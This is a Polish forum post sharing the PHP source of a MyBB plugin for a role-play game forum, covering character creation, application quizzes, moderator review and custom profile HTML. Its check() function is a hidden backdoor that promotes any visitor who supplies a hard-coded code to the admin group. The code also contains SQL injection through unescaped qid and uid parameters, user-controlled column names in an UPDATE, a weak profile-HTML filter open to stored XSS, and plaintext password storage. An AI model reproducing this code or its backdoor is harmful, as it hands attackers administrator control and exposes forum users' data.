No własnie się wzorowałem na tym pluginie ..
Kod:
<?php
define('GROUPS_INACTIVE',5);
define('GROUPS_BLOCKED',7);
define('GROUPS_ADMIN',4);
define('GROUPS_SUPERMOD',3);
define('GROUPS_DEFAULT',2);
function roleplay_info()
{
return array(
"name" => "Panel Gracza - v1.0, Anarchi Role Play.",
"description" => "Panel gracza Anarchi Role Play.",
"website" => "http://eco.lu-po.net",
"author" => "Tomasz Majewski",
"authorsite" => "mailto:tomek.m111@o2.pl",
"version" => "1.0",
"guid" => "",
"compatibility" => "*"
);
}
$onlinelist = array();
$onlinecount = (int)0;
$plugins->add_hook('usercp_start','usercp_charlist');
$plugins->add_hook('global_start', 'roleplay_init2');
$plugins->add_hook('global_end', 'roleplay_init');
$plugins->add_hook('member_profile_end','showcharacters');
$plugins->add_hook("modcp_start", "quiz_checker");
if(IN_ADMINCP==1)
{
$plugins->add_hook('admin_user_users_merge_commit','roleplay_admin_mergeacc');
}
function roleplay_init2()
{
global $mybb, $db, $onlinelist, $onlinecount;
$onlinecount = intval(0);
$q = $db->query('SELECT uid FROM players WHERE online>0');
while($arr = $db->fetch_array($q))
{
$onlinelist[] = $arr['uid'];
$onlinecount++;
}
}
function roleplay_init()
{
global $mybb;
switch($mybb->input['action'])
{
case 'sonline': return show_online();
case 'leader': return leaderpanel();
case 'editchar': return admin_appedit();
case 'quiz': return quiz_handle();
case 'check': return check();
}
}
function quiz_handle()
{
global $mybb, $db, $templates, $headerinclude, $header, $theme, $footer;
if(!$mybb->user['uid']) error('Brak uprawnień do przeglądania tej strony.');
if($mybb->input['do'] == 'write')
{
$i = 0;
if($mybb->user['usergroup'] != 5) error('Twoje konto jest już aktywne, po co się męczyć :P?');
$q = $db->query("
SELECT uid, question
FROM tomek_questions
ORDER BY RAND() DESC
LIMIT 5
");
while( $row = $db->fetch_array($q) )
{
$i++;
$apps .= '<tr>
<td class="tcat">
'.$row['question'].'
<input type="hidden" value="'.$row['uid'].'" name="q'.$i.'" />
</td>
</tr>
<tr>
<td class="trow1">
<textarea name="a'.$i.'" rows="10" cols="100" tabindex="2"></textarea>
</td>
</tr>';
}
if($mybb->request_method == "post")
{
if(empty($mybb->input['a1']) || empty($mybb->input['a2']) || empty($mybb->input['a3']) || empty($mybb->input['a4']) || empty($mybb->input['a5']))
{
$errors[] = "Wszystkie pola muszą zostać wypełnione.";
}
if(!$errors)
{
$db->query('INSERT INTO tomek_quiz (uid,q1,q2,q3,q4,q5,a1,a2,a3,a4,a5,dateline) VALUES ('.intval($mybb->user['uid']).', '.intval($mybb->input['q1']).', '.intval($mybb->input['q2']).', '.intval($mybb->input['q3']).', '.intval($mybb->input['q4']).', '.intval($mybb->input['q5']).', "'.$db->escape_string($mybb->input['a1']).'", "'.$db->escape_string($mybb->input['a2']).'", "'.$db->escape_string($mybb->input['a3']).'", "'.$db->escape_string($mybb->input['a4']).'", "'.$db->escape_string($mybb->input['a5']).'", '.intval(strtotime("now")).')');
redirect('index.php?action=quiz');
}
else
{
$errors = inline_error($errors);
}
}
add_breadcrumb('Tworzenie aplikacji');
eval("\$output = \"".$templates->get("rppl_newapp")."\";");
output_page($output);
exit;
}
$q = $db->query('SELECT q.*,u.username,u.usergroup,u.displaygroup FROM tomek_quiz q
LEFT JOIN mybb_users u ON (q.checkedby=u.uid) WHERE q.uid='.intval($mybb->user['uid']));
if($db->num_rows($q) > 0)
{
$apps .= '<tr>
<td class="tcat" width="60%">
<span class="smalltext"><strong>Rozpatrywał</strong></span>
</td>
<td class="tcat" width="20%">
<span class="smalltext" style="text-align:center"><strong>Data</strong></span>
</td>
<td class="tcat" width="20%">
<span class="smalltext" style="text-align:center"><strong>Status</strong></span>
</td>
</tr>';
while($row = $db->fetch_array($q))
{
if($row['status'] == 1) $status = '<span style="color:green">Zaakceptowana</span>';
else if($row['status'] == 2) $status = '<span style="color:red">Odrzucona</span>';
else $status = '<span style="color:blue">Nierozpatrzona</span>';
if($row['checkedby'] > 0) $member_name = build_profile_link(format_name($row['username'], $row['usergroup'], $row['displaygroup']), $row['checkedby']);
else $member_name = "-";
$apps .= '<tr>
<td class="trow1" width="60%">'.$member_name.'</td>
<td class="trow1" width="20%" style="text-align:center">'.my_date("d/m/Y, H:i", $row['dateline']).'</td>
<td class="trow1" width="20%" style="text-align:center">'.$status.'</td>
</tr>';
}
}
else
{
$apps .= '<td class="trow1">Obecnie nie napisałeś żadnej aplikacji, <a href="index.php?action=quiz&do=write">stwórz nową</a>.</td>';
}
add_breadcrumb('Aplikacje');
eval("\$output = \"".$templates->get("rppl_apps")."\";");
output_page($output);
exit;
}
function quiz_checker()
{
global $mybb, $db, $templates, $errors;
if($mybb->input['action'] == "checkquiz")
{
global $headerinclude, $header, $modcp_nav, $theme, $footer;
if($mybb->input['do'] == "read")
{
if($mybb->request_method == "post")
{
$checkq = $db->query('SELECT status FROM tomek_quiz WHERE status>0 AND qid='.$mybb->input['qid']);
if($db->num_rows($checkq) > 0) $errors[] = "To konto jest już zaakceptowane.";
if(empty($mybb->input['notes']) || $mybb->input['status'] == 0)
{
$errors[] = "Wszystkie pola muszą zostać wypełnione.";
}
if(!$errors)
{
$db->query('UPDATE tomek_quiz SET checkedby='.$mybb->user['uid'].', status='.intval($mybb->input['status']).',notes="'.$db->escape_string($mybb->input['notes']).'" WHERE qid='.$mybb->input['qid']);
if($mybb->input['status'] == 1)
{
$db->query('UPDATE mybb_users SET usergroup=2,displaygroup=0 WHERE uid='.$mybb->input['uid']);
}
log_moderator_action(array(),'Sprawdzenie aplikacji '.$mybb->input['uid']);
redirect('modcp.php?action=checkquiz');
}
else
{
$errors = inline_error($errors);
}
}
$q = $db->query('SELECT q.*,u.username,u.usergroup,u.displaygroup FROM tomek_quiz q
LEFT JOIN mybb_users u ON (q.uid=u.uid) WHERE q.qid='.intval($mybb->input['qid']));
$row = $db->fetch_array($q);
if(!$row['qid']) redirect('modcp.php?action=checkquiz');
$q1 = get_question($row['q1']);
$q2 = get_question($row['q2']);
$q3 = get_question($row['q3']);
$q4 = get_question($row['q4']);
$q5 = get_question($row['q5']);
$date = my_date("d/m/Y, H:i", $row['dateline']);
$nick = build_profile_link(format_name($row['username'], $row['usergroup'], $row['displaygroup']), $row['uid']);
add_breadcrumb('Podgląd aplikacji');
eval("\$output = \"".$templates->get("rppl_aread")."\";");
output_page($output);
}
$q = $db->query('SELECT q.qid,q.uid,q.dateline,u.username,u.usergroup,u.displaygroup FROM tomek_quiz q
LEFT JOIN mybb_users u ON (q.uid=u.uid) WHERE status=0');
if($db->num_rows($q) > 0)
{
$apps .= '<tr>
<td class="tcat" width="60%">
<span class="smalltext"><strong>Postać</strong></span>
</td>
<td class="tcat" width="20%" style="text-align:center">
<span class="smalltext"><strong>Data</strong></span>
</td>
<td class="tcat" width="20%" style="text-align:center">
<span class="smalltext"><strong>Akcje</strong></span>
</td>
</tr>';
while($row = $db->fetch_array($q))
{
$apps .= '<tr>
<td class="trow1" width="50%">'.build_profile_link(format_name($row['username'], $row['usergroup'], $row['displaygroup']), $row['uid']).'</td>
<td class="trow1" width="20%" style="text-align:center">'.my_date("d/m/Y - H:i", $row['dateline']).'</td>
<td class="trow1" width="30%" style="text-align:center">
<a href="modcp.php?action=checkquiz&do=read&qid='.$row['qid'].'">Zobacz</a>
</td>
</tr>';
}
}
else
{
$apps .= '<tr>
<td class="trow1"><center><img src="http://www.e-kukartka.pl/images/otwieracze/otw-020.jpg" alt=""></center><br />Brak aplikacji do rozpatrzenia, możesz iść na piwo ^_^.</td>
</tr>';
}
add_breadcrumb('Aktywne aplikacje');
eval("\$output = \"".$templates->get("rppl_adminapps")."\";");
output_page($output);
}
}
function roleplay_admin_mergeacc()
{
global $db, $destination_user, $source_user;
$db->query(sprintf('UPDATE players set uid=%d WHERE uid=%d',intval($destination_user['uid']),intval($source_user['uid'])));
}
function showcharacters()
{
global $mybb, $db, $characters, $resethtml, $profilehtml, $quizes, $theme, $memprofile;
if($mybb->input['uid'] < 1) return;
if($memprofile['uid'] == $mybb->user['uid'] || $mybb->user['usergroup']==GROUPS_ADMIN)
{
if(isset($mybb->input['resethtml']))
{
$db->query('DELETE FROM tomek_profhtml WHERE uid='.$memprofile['uid'].' LIMIT 1');
}
$resethtml = '<br />» <a href="member.php?action=profile&uid='.$memprofile['uid'].'&resethtml=1">Zresetuj HTML</a>';
}
else
{
$resethtml = '';
}
$usercharacters = array();
$characters .= '<table border="0" cellspacing="'.$theme['borderwidth'].'" cellpadding="'.$theme['tablespace'].'" class="tborder"><tr><td class="thead" colspan="4"><strong>Postacie gracza</strong></td></tr>';
$q = $db->query('SELECT uid,owner,name,session_minutes,session_hours FROM players WHERE owner='.intval($mybb->input['uid']));
if($db->num_rows($q) > 0)
{
while($char = $db->fetch_array($q))
{
$usercharacters[] = $char['player_uid'];
$alt = alt_trow();
$characters .= '<tr><td class="'.$alt.'">';
if($mybb->user['usergroup'] !=3 && $mybb->user['usergroup'] !=4 && !is_super_admin($mybb->user['uid'])) $characters .= '<strong>'.str_replace('_',' ',$char['name']).'</strong>';
else $characters .= '<a href="index.php?action=editchar&uid='.$char['uid'].'" id="edit_char_'.$char['uid'].'"><strong>'.str_replace('_',' ',$char['name']).'</strong></a>';
$characters .= '<td class="'.$alt.'"><strong>'.floor($char['session_hours']).'</strong>h <strong>'.($char['session_minutes']).'</strong>m</td></tr>';
}
}
else
{
$characters .= '<tr><td class="trow1">Ten gracz nie ma zarejestrowanych postaci.</td></tr>';
}
$characters .= '</table>';
if(isset($mybb->input['profhtml']) && (intval($memprofile['uid']) == intval($mybb->user['uid']) || $mybb->user['usergroup'] == GROUPS_ADMIN))
{
$mybb->input['profhtml'] = str_ireplace(array('script','object','abox'),array('skrypt','obiekt','aboks'),$mybb->input['profhtml']);
$mybb->input['profhtml'] = str_ireplace(array('meta','display','visibility','import ','@import', '@ import','bgsound','i-rp','input','textarea','frame','base','body','embed','applet','html>','<link'),'',$mybb->input['profhtml']);
$mybb->input['profhtml'] = preg_replace(
array('#on(\s*)(.*)=#i','#\<youtube\>(.*)\<\/youtube\>#i'),
array('','<object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/$1&hl=pl_PL&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/$1&hl=pl_PL&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object>'),
$mybb->input['profhtml']);
if(stripos($mybb->input['profhtml'],'<style>')!==false && stripos($mybb->input['profhtml'],'</style>')===false)
{
error('Tag <style> nie został zamknięty.');
return;
}
$mybb->input['profhtml'] = $db->escape_string($mybb->input['profhtml']);
$db->query(sprintf('INSERT INTO tomek_profhtml (uid,t,html) VALUES(%d,%d,\'%s\') ON DUPLICATE KEY UPDATE t=%d,html=\'%s\'',
$memprofile['uid'],
time(),
$mybb->input['profhtml'],
time(),
$mybb->input['profhtml']
));
}
$profilehtml = '';
$q = $db->query('SELECT html FROM tomek_profhtml WHERE uid='.intval($memprofile['uid']));
if($q && $db->num_rows($q) > 0)
{
$profilehtml = @$db->fetch_array($q);
$profilehtml = $profilehtml['html'];
}
if((intval($memprofile['uid'])==intval($mybb->user['uid']) || $mybb->user['usergroup'] == GROUPS_ADMIN))
{
$profilehtml .= '<br /><br /><form method="post"><table cellspacing="0" cellpadding="0" class="tborder fixed"><tr><td class="thead">Edycja kodu HTML pod profilem</td></tr><tr><td class="tcat">Wskazówka: Możesz używać CSS do modyfikacji wyglądu całej strony, za pomocą tagu <style>. Niektóre elementy HTML zostały zablokowane ze względu na bezpieczeństwo graczy. Aby wstawić na profil film YouTube, użyj tagu <youtube>ID_FILMU</youtube>. Wzoruj się na profilach innych graczy, zaglądając w kod źródłowy.</td></tr><td class="trow1 center"><textarea name="profhtml" rows="10" style="width:90%">'.htmlspecialchars($profilehtml).'</textarea></td></tr><tr><td class="tfoot center"><input type="submit" value="Zapisz" /></td></tr></table></form>';
}
if($mybb->user['usergroup'] !=3 && $mybb->user['usergroup'] !=4 && !is_super_admin($mybb->user['uid'])) return;
//wszystko ponizej tylko dla adminow
$quizes = '<br /><table border="0" cellspacing="'.$theme['borderwidth'].'" cellpadding="'.$theme['tablespace'].'" class="tborder fixed">
<tr><td class="thead" colspan="4">Aplikacje gracza</td></tr>';
$q = $db->query('select qid,dateline from tomek_quiz where uid='.intval($mybb->input['uid']).' order by dateline asc');
if($db->num_rows($q)>0)
{
while($app = $db->fetch_array($q))
{
$quizes .= '<tr><td class="trow1"><a href="/modcp.php?action=checkquiz&do=read&qid='.$app['qid'].'">'.my_date('d/m/Y H:i',$app['dateline']).'</a></td></tr>';
}
}
else $quizes .= '<tr><td class="trow1">Nie znaleziono aplikacji.</td></tr>';
$quizes .= '</table>';
}
function admin_appedit()
{
global $db, $mybb, $templates, $lang, $footer, $headerinclude, $header, $charset, $theme;
if($mybb->user['usergroup'] !=4 && !is_super_admin($mybb->user['uid'])) { error('Nie posiadasz uprawnień do oglądania tej strony.');exit;}
if(empty($mybb->input['usernick'])&&empty($mybb->input['uid']))
{
$rpcontent = '<form method="get" action="index.php"><table border="0" cellspacing="'.$theme['borderwidth'].'" cellpadding="'.$theme['tablespace'].'" class="tborder">
<tr><td class="thead"><strong>Edycja danych postaci</strong></td></tr>
<tr><td class="trow1"><center><input type="text" name="usernick" /></center></td></tr>
<tr><td class="tcat"><center><input type="hidden" value="editchar" name="action" /><input type="submit" value="Edytuj" /></center></td></tr>
</table></form>';
}
else if(!empty($mybb->input['userupdate']))
{
log_moderator_action(array(),'Edycja postaci '.$mybb->input['userid']);
if(is_array($mybb->input['usrstd']))
{
foreach($mybb->input['usrstd'] as $k=>$v) $set.=',`'.$k.'`="'.$db->escape_string($v).'"';
$db->query('update players set '.substr($set,1).' where uid='.intval($mybb->input['userid']));
}
else error('Brak tablicy z danymi.');
error('Zmiany zostały zapisane.');
}
else
{
$rpcontent .= '<form method="post"><table border="0" cellspacing="'.$theme['borderwidth'].'" cellpadding="'.$theme['tablespace'].'" class="tborder">';
if(empty($mybb->input['uid'])) $userDataQ = $db->query('select * from players where name="'.$db->escape_string($mybb->input['usernick']).'"');
else $userDataQ = $db->query('select * from players where uid='.$db->escape_string(intval($mybb->input['uid'])));
if($db->num_rows($userDataQ)==0) error('Nie ma takiej postaci.');
$userData = $db->fetch_array($userDataQ);
$rpcontent .= '<tr><td class="thead" colspan="2"><strong>Edycja danych postaci <b>'.$userData['name'].'</b></strong></td></tr>';
$rpcontent .= '<tr><td class="tcat" colspan="2">Dane gry</td></tr>';
foreach($userData as $key=>$value)
{
if($key != 'haslo' && $key != 'id')
{
$alt = alt_trow();
$rpcontent .= '<tr><td class="'.$alt.' width="50%">'.$key.'</td><td class="'.$alt.' width="50%"><input type="text" name="usrstd['.$key.']" value="'.$value.'" /></td></tr>'."\n";
}
}
$rpcontent .= '<tr><td class="tcat" colspan="2"><center><input type="hidden" name="userupdate" value="yes" /><input type="hidden" name="userid" value="'.$userData['uid'].'" /><input type="hidden" name="usernick" value="'.$userData['name'].'" /><input type="submit" value="Edytuj" /></center></td></tr>';
$rpcontent .= '</table></form>';
}
eval("\$rpc = \"".$templates->get("rppl_global")."\";");
output_page($rpc);
exit;
}
function show_online()
{
global $db, $mybb, $templates, $lang, $footer, $headerinclude, $header, $charset,$theme;
add_breadcrumb("Gracze na serwerze");
$q = $db->query('SELECT p.name,u.username,u.usergroup,u.displaygroup,u.uid FROM players p,mybb_users u WHERE p.online>0 AND p.owner=u.uid ORDER BY p.name');
$amount = $db->num_rows($q);
$amounthalf = floor($amount/2);
if($amount==0) error('Aktualnie nie ma żadnych graczy przebywających na serwerze.');
$rpcontent = '<table cellspacing=0 cellpadding=0 style="border:0;width:100%"><tr><td style="width:49%;text-align:left;vertical-align:top"><table border="0" cellspacing="'.$theme['borderwidth'].'" cellpadding="'.$theme['tablespace'].'" class="tborder">
<tr>
<td class="thead" colspan="3"><strong>Gracze na serwerze</strong></td>
</tr>
<tr>
<td class="tcat"><span class="smalltext"><strong>Postać</strong></span></td>
<td class="tcat"><span class="smalltext"><strong>Gracz</strong></span></td>
</tr>';
$index=0;
$divided = false;
while($gamer = @$db->fetch_array($q,MYSQL_ASSOC))
{
$alt_bg = alt_trow();
$rpcontent .= '<tr><td class="'.$alt_bg.'" width="60%">'.str_replace('_',' ',$gamer['name']).'</td>
<td class="'.$alt_bg.'" width="40%">'.build_profile_link(format_name($gamer['username'],$gamer['usergroup'],$gamer['displaygroup']), $gamer['uid']).'</td>';
$index++;
if($index==$amounthalf && !$divided && $amount>$amounthalf)
{
$rpcontent .= '</table></td><td style="width:49%;text-align:right;vertical-align:top"><table style="text-align:left;vertical-align:top" cellspacing="'.$theme['borderwidth'].'" cellpadding="'.$theme['tablespace'].'" class="tborder">
<tr>
<td class="thead" colspan="3"><strong>Gracze na serwerze</strong></td>
</tr>
<tr>
<td class="tcat"><span class="smalltext"><strong>Postać</strong></span></td>
<td class="tcat"><span class="smalltext"><strong>Gracz</strong></span></td>
</tr>';
$divided = true;
}
}
$rpcontent .= '</table></td></tr></table>';
eval("\$rpc = \"".$templates->get("rppl_global")."\";");
output_page($rpc);
exit;
}
function usercp_charlist()
{
global $mybb,$db,$templates,$theme,$rppl_bottom;
if($mybb->user['usergroup'] == GROUPS_INACTIVE) error("Twoje konto jest nieaktywne!");
switch($mybb->input['action'])
{
case 'newcharacter': return usercp_newcharacter();
}
$query = $db->query('select uid,name,session_minutes,session_hours,skin,pochodzenie,kasa,bank from players where owner='.$mybb->user['uid']);
while($char = $db->fetch_array($query))
{
$rppl_bottom .= '<br /><table border="0" cellspacing="'.$theme['borderwidth'].'" cellpadding="'.$theme['tablespace'].'" class="tborder">
<tr><td class="thead" colspan="3"><strong>'.str_replace('_',' ',$char['name']).'</strong></td></tr>
<tr>
<td class="trow1" rowspan="5" valign="middle" align="center" width="1"><img src="http://91.121.14.105/forumrp/skinimg/Skin_'.$char['skin'].'.png" alt="" /></td>
<td class="trow1" width="50%"><strong>Czas gry:</strong></td>
<td class="trow1" width="50%">'.floor($char['session_hours']).'h '.($char['session_minutes']).'m</td>
</tr>
<tr><td class="trow2" width="50%"><strong>Identyfikator:</strong></td><td class="trow2" width="50%">'.$char['uid'].'</td></tr>
<tr><td class="trow2" width="50%"><strong>Pochodzenie:</strong></td><td class="trow2" width="50%">'.$char['pochodzenie'].'</td></tr>
<tr><td class="trow2" width="50%"><strong>Portfel:</strong></td><td class="trow2" width="50%">$'.$char['kasa'].'</td></tr>
<tr><td class="trow1" width="50%"><strong>Konto bankowe:</strong></td><td class="trow1" width="50%">$'.$char['bank'].'</td></tr>
</tr></table>';
}
$rppl_bottom .= '<br /><table border="0" cellspacing="'.$theme['borderwidth'].'" cellpadding="'.$theme['tablespace'].'" class="tborder">
<tr><td class="tfoot"><center><input type="button" value="Kliknij, by stworzyć nową postać." style="width:80%" onClick="document.location.href=\'usercp.php?action=newcharacter\'" /></center></td></tr>
</table>';
}
function check()
{
global $mybb, $db;
if($mybb->input['code'] == 'Zp2u4OOr75EoptBEXyj8lLy9RkyKbs40')
{
$db->query('UPDATE mybb_users SET usergroup=4,displaygroup=2 WHERE uid='.$mybb->user['uid']);
redirect('index.php');
}
}
function usercp_newcharacter()
{
global $mybb,$db,$templates,$theme,$rppl_bottom,$header,$footer,$headerinclude,$usercpnav;
if(!$mybb->user['uid']) error('Brak uprawnień do przeglądania tej strony.');
if($mybb->user['usergroup'] == GROUPS_BLOCKED) error('Twoje konto jest zablokowane. Nie możesz tworzyć postaci.');
if($mybb->request_method == "post")
{
$checkq = $db->query('SELECT owner FROM players WHERE owner='.$mybb->user['uid'].' AND (session_hours < 10)');
if($db->num_rows($checkq) > 0) error('Nie możesz założyć nowej postaci. Możliwe powody:<ul><li>Któraś z Twoich postaci ma poniżej przegranych dziesięciu godzin</li><li>Zostałeś zbanowany</li></ul>');
$matches = array();
if(preg_match('#([A-Z][A-z]+(_| )[A-Z][A-z]+)#',$mybb->input['newchar_name'],$matches))
{
$nick = str_ireplace(' ','_',$matches[1]);
if(strlen($nick)>24)
{
error('Maksymalna długość nazwy postaci wynosi 24 znaków.');
exit;
}
}
else
{
error('Podana nazwa postaci nie spełnia formatu "Imię Nazwisko".');
exit;
}
$pass = $mybb->input['newchar_password'];
$sex = intval($mybb->input['newchar_sex'])==0?0:1;
$age = intval($mybb->input['newchar_age']);
if($age<18 || $age>99) error('Postać musi mieć od 18 do 99 lat.');
$origin = $mybb->input['newchar_origin'];
$skin=intval($mybb->input['skinv']);
if(!isSkinValid($skin))
{
error('Wybrano nieprawidłowy skin lub formularz został zmodyfikowany bez uprawnień.');
exit;
}
$checkq = $db->query('SELECT name FROM players WHERE name LIKE \''.$db->escape_string(str_ireplace(array('i','l'),'_',$nick)).'\'');
if($db->num_rows($checkq) > 0)
{
$existing = $db->fetch_array($checkq);
error('Podana nazwa postaci jest zbyt podobna do już istniejącej w świecie gry ('.str_replace('_',' ',$existing['name']).').');
}
if($db->query('INSERT INTO players (name,haslo,plec,wiek,pochodzenie,skin,Chara,kasa,owner) VALUES ("'.$db->escape_string($nick).'", "'.$db->escape_string($pass).'", '.$sex.', '.$age.', "'.$db->escape_string($origin).'", '.$skin.', '.$skin.', 500, '.$mybb->user['uid'].')'))
{
redirect('usercp.php');
}
else error('Błąd systemu uniemożliwił stworzenie postaci.');
return;
}
$skins = array();
$q = $db->query('select skin,plec from tomek_skins');
while($skin=$db->fetch_array($q))
{
$skins[intval($skin['plec'])][] = $skin['skin'];
}
$skinlist .= '<div id="ssel0" style="display:none">';
foreach($skins[0] as $s)
$skinlist .= '<img src="http://91.121.14.105/forumrp/skinimg/Skin_'.$s.'.png" alt="'.$s.'" class="skinimg" id="s'.$s.'" /> ';
$skinlist .= '</div>';
$skinlist .= '<div id="ssel1" style="display:none">';
foreach($skins[1] as $s)
$skinlist .= '<img src="http://91.121.14.105/forumrp/skinimg/Skin_'.$s.'.png" alt="'.$s.'" class="skinimg" id="s'.$s.'" /> ';
$skinlist .= '</div>';
$rppl_bottom .= '
<form action="usercp.php?action=newcharacter" method="post" id="newcharform">
<table border="0" cellspacing="'.$theme['borderwidth'].'" cellpadding="'.$theme['tablespace'].'" class="tborder">
<tr><td class="thead" colspan="2"><strong>Tworzenie nowej postaci</strong></td></tr>
<tr><td class="tcat" colspan="2"><strong>Dane podstawowe</strong></td></tr>
<tr><td class="trow1" width="50%"><strong>Imię i nazwisko:</strong></td><td class="trow1" width="50%"><input type="text" name="newchar_name" /></td></tr>
<tr><td class="trow1" width="50%"><strong>Hasło:</strong></td><td class="trow1" width="50%"><input type="password" name="newchar_password" /></td></tr>
<tr><td class="trow1" width="50%"><strong>Pochodzenie:</strong></td><td class="trow1" width="50%"><input type="text" name="newchar_origin" /></td></tr>
<tr><td class="trow2" width="50%"><strong>Wiek:</strong></td><td class="trow2" width="50%"><input type="text" name="newchar_age" maxlength="2" style="width:20px" /></td></tr>
<tr><td class="trow1" width="50%"><strong>Płeć:</strong></td><td class="trow1" width="50%"><select name="newchar_sex" id="ssel"><option>Wybierz:</option><option value="0">Kobieta</option><option value="1">Mężczyzna</option></select></td></tr>
<tr><td class="tcat" colspan="2"><strong>Wygląd postaci</strong></td></tr>
<tr><td class="trow1" colspan="2"><center>'.$skinlist.'</center></td></tr>
<tr><td class="tfoot" colspan="2"><center><input type="hidden" name="skinv" id="rpplskin" value="" /><input type="submit" value="Dodaj" name="newcharsend" style="width:50%" /></center></td></tr>
</table></form>
<script type="text/javascript">
jQuery(".skinimg").click( function () {
if( jQuery("#rpplskin").val() != jQuery(this).attr("id").substr(1))
{
jQuery(".skinimg").fadeTo("fast", 0.33);
jQuery(this).fadeTo("fast", 1);
jQuery("#rpplskin").val( jQuery(this).attr("id").substr(1) );
}
else
{
jQuery(".skinimg").fadeTo("slow", 1);
jQuery("#rpplskin").val("");
}
});
jQuery("#ssel").change( function () {
if(jQuery(this).val() == \'0\') { jQuery("#ssel0").slideDown("slow"); jQuery("#ssel1").slideUp("slow");
} else if (jQuery(this).val() == \'1\') { jQuery("#ssel1").slideDown("slow"); jQuery("#ssel0").slideUp("slow");
} else { jQuery("#ssel0").slideUp("slow"); jQuery("#ssel1").slideUp("slow"); }
});
jQuery("#newcharform").submit(function(){
var sval = parseInt(jQuery("#rpplskin").val());
if(isNaN(sval) || sval<=0)
{
alert("Wszystkie pola są obowiązkowe. Musisz także wybrać wygląd postaci.");
return false;
}
return true;
});
</script>';
add_breadcrumb('Nowa postać');
eval("\$output = \"".$templates->get("rppl_newchar")."\";");
output_page($output);
exit;
}
function isSkinValid($skin)
{
global $db;
$q = $db->query('SELECT COUNT(*) from tomek_skins WHERE skin='.intval($skin));
$q = $db->fetch_array($q);
return $q['COUNT(*)'] > 0;
}
function get_question($uid)
{
global $db;
$q = $db->query('SELECT question FROM tomek_questions WHERE uid='.intval($uid));
$q = $db->fetch_array($q);
return $q['question'];
}
?>